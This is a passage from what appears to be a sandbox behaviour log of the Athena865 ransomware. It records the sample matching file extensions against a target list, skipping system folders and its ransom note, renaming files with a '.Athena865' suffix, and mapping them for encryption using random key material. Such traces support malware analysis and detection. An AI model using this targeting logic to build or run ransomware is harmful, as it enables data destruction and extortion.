(lpString1="C.DLL", lpString2="accdc") returned 1 [0072.486] lstrlenW (lpString="accde") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0072.486] lstrlenW (lpString="accdr") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0072.486] lstrlenW (lpString="accdt") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0072.486] lstrlenW (lpString="accdw") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0072.486] lstrlenW (lpString="accft") returned 5 [0072.486] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0072.486] lstrlenW (lpString="adb") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.486] lstrlenW (lpString="adb") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.486] lstrlenW (lpString="ade") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.486] lstrlenW (lpString="adf") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.486] lstrlenW (lpString="adn") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.486] lstrlenW (lpString="adp") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.486] lstrlenW (lpString="alf") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.486] lstrlenW (lpString="ask") returned 3 [0072.486] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.487] lstrlenW (lpString="btr") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.487] lstrlenW (lpString="cat") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.487] lstrlenW (lpString="cdb") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.487] lstrlenW (lpString="ckp") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.487] lstrlenW (lpString="cma") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.487] lstrlenW (lpString="cpd") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.487] lstrlenW (lpString="dacpac") returned 6 [0072.487] lstrcmpiW (lpString1="DC.DLL", lpString2="dacpac") returned 1 [0072.487] lstrlenW (lpString="dad") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.487] lstrlenW (lpString="dadiagrams") returned 10 [0072.487] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="dadiagrams") returned 1 [0072.487] lstrlenW (lpString="daschema") returned 8 [0072.487] lstrcmpiW (lpString1="WSDC.DLL", lpString2="daschema") returned 1 [0072.487] lstrlenW (lpString="db-journal") returned 10 [0072.487] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="db-journal") returned 1 [0072.487] lstrlenW (lpString="db-shm") returned 6 [0072.487] lstrcmpiW (lpString1="DC.DLL", lpString2="db-shm") returned 1 [0072.487] lstrlenW (lpString="db-wal") returned 6 [0072.487] lstrcmpiW (lpString1="DC.DLL", lpString2="db-wal") returned 1 [0072.487] lstrlenW (lpString="dbc") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.487] lstrlenW (lpString="dbs") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.487] lstrlenW (lpString="dbt") returned 3 [0072.487] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.488] lstrlenW (lpString="dbv") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.488] lstrlenW (lpString="dbx") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.488] lstrlenW (lpString="dcb") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.488] lstrlenW (lpString="dct") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.488] lstrlenW (lpString="dcx") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.488] lstrlenW (lpString="ddl") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.488] lstrlenW (lpString="dlis") returned 4 [0072.488] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.488] lstrlenW (lpString="dp1") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.488] lstrlenW (lpString="dqy") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0072.488] lstrlenW (lpString="dsk") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0072.488] lstrlenW (lpString="dsn") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0072.488] lstrlenW (lpString="dtsx") returned 4 [0072.488] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0072.488] lstrlenW (lpString="dxl") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0072.488] lstrlenW (lpString="eco") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0072.488] lstrlenW (lpString="ecx") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0072.488] lstrlenW (lpString="edb") returned 3 [0072.488] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0072.488] lstrlenW (lpString="epim") returned 4 [0072.488] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0072.489] lstrlenW (lpString="fcd") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0072.489] lstrlenW (lpString="fdb") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0072.489] lstrlenW (lpString="fic") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0072.489] lstrlenW (lpString="flexolibrary") returned 12 [0072.489] lstrlenW (lpString="fm5") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0072.489] lstrlenW (lpString="fmp") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0072.489] lstrlenW (lpString="fmp12") returned 5 [0072.489] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0072.489] lstrlenW (lpString="fmpsl") returned 5 [0072.489] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0072.489] lstrlenW (lpString="fol") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0072.489] lstrlenW (lpString="fp3") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0072.489] lstrlenW (lpString="fp4") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0072.489] lstrlenW (lpString="fp5") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0072.489] lstrlenW (lpString="fp7") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0072.489] lstrlenW (lpString="fpt") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0072.489] lstrlenW (lpString="frm") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0072.489] lstrlenW (lpString="gdb") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.489] lstrlenW (lpString="gdb") returned 3 [0072.489] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.490] lstrlenW (lpString="grdb") returned 4 [0072.490] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0072.490] lstrlenW (lpString="gwi") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0072.490] lstrlenW (lpString="hdb") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0072.490] lstrlenW (lpString="his") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0072.490] lstrlenW (lpString="ib") returned 2 [0072.490] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0072.490] lstrlenW (lpString="idb") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0072.490] lstrlenW (lpString="ihx") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0072.490] lstrlenW (lpString="itdb") returned 4 [0072.490] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0072.490] lstrlenW (lpString="itw") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0072.490] lstrlenW (lpString="jet") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0072.490] lstrlenW (lpString="jtx") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0072.490] lstrlenW (lpString="kdb") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0072.490] lstrlenW (lpString="kexi") returned 4 [0072.490] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0072.490] lstrlenW (lpString="kexic") returned 5 [0072.490] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0072.490] lstrlenW (lpString="kexis") returned 5 [0072.490] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0072.490] lstrlenW (lpString="lgc") returned 3 [0072.490] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0072.490] lstrlenW (lpString="lwx") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0072.491] lstrlenW (lpString="maf") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0072.491] lstrlenW (lpString="maq") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0072.491] lstrlenW (lpString="mar") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0072.491] lstrlenW (lpString="marshal") returned 7 [0072.491] lstrcmpiW (lpString1="SDC.DLL", lpString2="marshal") returned 1 [0072.491] lstrlenW (lpString="mas") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0072.491] lstrlenW (lpString="mav") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0072.491] lstrlenW (lpString="maw") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0072.491] lstrlenW (lpString="mdbhtml") returned 7 [0072.491] lstrcmpiW (lpString1="SDC.DLL", lpString2="mdbhtml") returned 1 [0072.491] lstrlenW (lpString="mdn") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0072.491] lstrlenW (lpString="mdt") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0072.491] lstrlenW (lpString="mfd") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0072.491] lstrlenW (lpString="mpd") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0072.491] lstrlenW (lpString="mrg") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0072.491] lstrlenW (lpString="mud") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0072.491] lstrlenW (lpString="mwb") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0072.491] lstrlenW (lpString="myd") returned 3 [0072.491] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0072.492] lstrlenW (lpString="ndf") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0072.492] lstrlenW (lpString="nnt") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0072.492] lstrlenW (lpString="nrmlib") returned 6 [0072.492] lstrcmpiW (lpString1="DC.DLL", lpString2="nrmlib") returned -1 [0072.492] lstrlenW (lpString="ns2") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0072.492] lstrlenW (lpString="ns3") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0072.492] lstrlenW (lpString="ns4") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0072.492] lstrlenW (lpString="nsf") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0072.492] lstrlenW (lpString="nv") returned 2 [0072.492] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0072.492] lstrlenW (lpString="nv2") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0072.492] lstrlenW (lpString="nwdb") returned 4 [0072.492] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0072.492] lstrlenW (lpString="nyf") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0072.492] lstrlenW (lpString="odb") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.492] lstrlenW (lpString="odb") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.492] lstrlenW (lpString="oqy") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0072.492] lstrlenW (lpString="ora") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0072.492] lstrlenW (lpString="orx") returned 3 [0072.492] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0072.492] lstrlenW (lpString="owc") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0072.493] lstrlenW (lpString="p96") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0072.493] lstrlenW (lpString="p97") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0072.493] lstrlenW (lpString="pan") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0072.493] lstrlenW (lpString="pdb") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0072.493] lstrlenW (lpString="pdm") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0072.493] lstrlenW (lpString="pnz") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0072.493] lstrlenW (lpString="qry") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0072.493] lstrlenW (lpString="qvd") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0072.493] lstrlenW (lpString="rbf") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0072.493] lstrlenW (lpString="rctd") returned 4 [0072.493] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0072.493] lstrlenW (lpString="rod") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0072.493] lstrlenW (lpString="rodx") returned 4 [0072.493] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0072.493] lstrlenW (lpString="rpd") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0072.493] lstrlenW (lpString="rsd") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0072.493] lstrlenW (lpString="sas7bdat") returned 8 [0072.493] lstrcmpiW (lpString1="WSDC.DLL", lpString2="sas7bdat") returned 1 [0072.493] lstrlenW (lpString="sbf") returned 3 [0072.493] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0072.493] lstrlenW (lpString="scx") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0072.494] lstrlenW (lpString="sdb") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0072.494] lstrlenW (lpString="sdc") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0072.494] lstrlenW (lpString="sdf") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0072.494] lstrlenW (lpString="sis") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0072.494] lstrlenW (lpString="spq") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0072.494] lstrlenW (lpString="te") returned 2 [0072.494] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0072.494] lstrlenW (lpString="teacher") returned 7 [0072.494] lstrcmpiW (lpString1="SDC.DLL", lpString2="teacher") returned -1 [0072.494] lstrlenW (lpString="tmd") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0072.494] lstrlenW (lpString="tps") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0072.494] lstrlenW (lpString="trc") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.494] lstrlenW (lpString="trc") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.494] lstrlenW (lpString="trm") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0072.494] lstrlenW (lpString="udb") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0072.494] lstrlenW (lpString="udl") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0072.494] lstrlenW (lpString="usr") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0072.494] lstrlenW (lpString="v12") returned 3 [0072.494] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0072.495] lstrlenW (lpString="vis") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0072.495] lstrlenW (lpString="vpd") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0072.495] lstrlenW (lpString="vvv") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0072.495] lstrlenW (lpString="wdb") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0072.495] lstrlenW (lpString="wmdb") returned 4 [0072.495] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0072.495] lstrlenW (lpString="wrk") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0072.495] lstrlenW (lpString="xdb") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0072.495] lstrlenW (lpString="xld") returned 3 [0072.495] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0072.495] lstrlenW (lpString="xmlff") returned 5 [0072.495] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0072.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865") returned 64 [0072.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll.athena865"), dwFlags=0x1) returned 1 [0072.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IEAWSDC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ieawsdc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.497] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=242528) returned 1 [0072.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.497] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.498] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.498] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.498] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b660, lpName=0x0) returned 0x154 [0072.499] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b660) returned 0x170000 [0072.511] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.512] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.512] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.512] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0072.514] CloseHandle (hObject=0x154) returned 1 [0072.514] CloseHandle (hObject=0x17c) returned 1 [0072.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2=".") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="..") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="windows") returned -1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="bootmgr") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="temp") returned -1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="pagefile.sys") returned -1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="boot") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="ids.txt") returned 1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="ntuser.dat") returned -1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="perflogs") returned -1 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2="MSBuild") returned -1 [0072.516] lstrlenW (lpString="IEContentService.exe") returned 20 [0072.516] lstrcpyW (in: lpString1=0x241e89e, lpString2="IEContentService.exe" | out: lpString1="IEContentService.exe") returned="IEContentService.exe" [0072.516] lstrlenW (lpString="IEContentService.exe") returned 20 [0072.516] lstrlenW (lpString="Athena865") returned 9 [0072.516] lstrcmpiW (lpString1="rvice.exe", lpString2="Athena865") returned 1 [0072.516] lstrlenW (lpString=".dll") returned 4 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2=".dll") returned 1 [0072.516] lstrlenW (lpString=".lnk") returned 4 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2=".lnk") returned 1 [0072.516] lstrlenW (lpString=".ini") returned 4 [0072.516] lstrcmpiW (lpString1="IEContentService.exe", lpString2=".ini") returned 1 [0072.516] lstrlenW (lpString=".sys") returned 4 [0072.517] lstrcmpiW (lpString1="IEContentService.exe", lpString2=".sys") returned 1 [0072.517] lstrlenW (lpString="IEContentService.exe") returned 20 [0072.517] lstrlenW (lpString="bak") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0072.517] lstrlenW (lpString="ba_") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0072.517] lstrlenW (lpString="dbb") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0072.517] lstrlenW (lpString="vmdk") returned 4 [0072.517] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0072.517] lstrlenW (lpString="rar") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0072.517] lstrlenW (lpString="zip") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0072.517] lstrlenW (lpString="tgz") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0072.517] lstrlenW (lpString="vbox") returned 4 [0072.517] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0072.517] lstrlenW (lpString="vdi") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0072.517] lstrlenW (lpString="vhd") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0072.517] lstrlenW (lpString="vhdx") returned 4 [0072.517] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0072.517] lstrlenW (lpString="avhd") returned 4 [0072.517] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0072.517] lstrlenW (lpString="db") returned 2 [0072.517] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0072.517] lstrlenW (lpString="db2") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0072.517] lstrlenW (lpString="db3") returned 3 [0072.517] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0072.517] lstrlenW (lpString="dbf") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0072.518] lstrlenW (lpString="mdf") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0072.518] lstrlenW (lpString="mdb") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0072.518] lstrlenW (lpString="sql") returned 3 [0072.518] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0072.518] lstrlenW (lpString="sqlite") returned 6 [0072.518] lstrcmpiW (lpString1="ce.exe", lpString2="sqlite") returned -1 [0072.518] lstrlenW (lpString="sqlite3") returned 7 [0072.518] lstrcmpiW (lpString1="ice.exe", lpString2="sqlite3") returned -1 [0072.518] lstrlenW (lpString="sqlitedb") returned 8 [0072.518] lstrcmpiW (lpString1="vice.exe", lpString2="sqlitedb") returned 1 [0072.518] lstrlenW 